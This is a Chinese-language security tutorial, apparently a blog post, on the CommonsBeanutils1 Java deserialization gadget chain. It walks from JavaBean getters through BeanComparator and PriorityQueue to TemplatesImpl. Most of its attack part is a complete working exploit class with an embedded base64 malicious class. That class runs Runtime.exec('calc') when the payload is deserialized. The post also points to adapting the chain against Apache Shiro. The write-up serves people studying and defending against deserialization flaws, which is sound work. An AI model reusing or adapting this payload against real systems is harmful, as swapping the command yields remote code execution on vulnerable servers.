CommonsBeanutils
PriorityQueue+Commons Beanutils
Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
JavaBean是一种符合命名规范的class,具体要求如下:
- 若干个属性都是private类型
- 并且这些属性都有public类型的get和set方法
- 并且命名要符合规范,符合骆驼式命名法,比如说属性名为Xx,那么get方法为public Type getXx(),set方法为public void setXx(Type value)
JavaBean示例:
public class Name {
private String name ="christina";
private int age = 20;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
idea可直接生成getter和setter,非常好用
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,比如:
import org.apache.commons.beanutils.PropertyUtils;
public class Go {
public static void main(String[] args) throws Exception{
Name name = new Name();
System.out.println(PropertyUtils.getProperty(name,"name"));
System.out.println(PropertyUtils.getProperty(name,"age"));
}
}
此时,commons-beanutils会自动找到属性的getter方法,也就是 getName 和getAge,然后调用,获得返回值。
除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。
利用链的构造
回顾一下TemplatesImpl的构造链,
TemplatesImpl#newTransformer=>TemplatesImpl#getTransletInstance=>TemplatesImpl#defineTransletClasses=>TransletClassLoader#defineClass
我们的目的是调用TransletClassLoader#defineClass,但其是受保护的方法,所以我们一直向上寻找一个public的方法去调用它,最终找到了TemplatesImpl#newTransformer,而在TemplatesImpl中,有一个public方法可以直接去调用TemplatesImpl#newTransformer
而这个方法为getter方法,那我们就可以尝试通过PropertyUtils.getProperty方法调用这个getter方法,最后构造完整的利用链。
梳理一下流程,首先反序列化入口PriorityQueue类中我们可以调用任意对象的compare方法,而我们要调用的这个compare方法中,最终要调用至PropertyUtils.getProperty方法,进而调用TemplatesImpl利用链。
在org.apache.commons.beanutils.BeanComparator中,其实现了java.util.Comparator接口,其中的compare方法可调用PropertyUtils.getProperty方法
这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。
那我们直接来尝试构造:
首先创建TemplpatesImpl对象:
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
"AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
"AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
"T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
"dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
"c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
"YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
"YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
"Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
"AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
"b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
"aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
"YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
"JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
"dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
"b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
"ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
"DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
"KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
"ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
"ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
"AAEAFgABABgAAAACABk=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{codes});
setFieldValue(templates,"_name","c1");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
然后实例化BeanComparator,这里构造函数为空,默认的 property就是空
BeanComparator comparator = new BeanComparator();
然后用这个comparator实例化优先队列 PriorityQueue:
PriorityQueue<Object> priorityQueue= new PriorityQueue<Object>(2,comparator);
priorityQueue.add(1);
priorityQueue.add(1);
向队列中添加了两个无害的对象,而由于之前的property为空,所以会对这两个对象排序。然后,用反射将property的值设置为outputProperties,并将队列中的两个对象替换成恶意的TemplatesImpl对象:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
至此,构造出完整的利用链:
package CCdemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,Value);
}
public static void main(String[] args) throws Exception{
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
"AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
"AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
"T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
"dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
"c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
"YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
"YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
"Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
"AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
"b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
"aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
"YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
"JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
"dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
"b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
"ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
"DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
"KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
"ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
"ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
"AAEAFgABABgAAAACABk=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{codes});
setFieldValue(templates,"_name","c1");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> priorityQueue= new PriorityQueue<Object>(2,comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
成功弹出计算器
而本条链经过简单改造,可以构造出无依赖Shiro反序列化利用链,具体看Shiro反序列化漏洞总结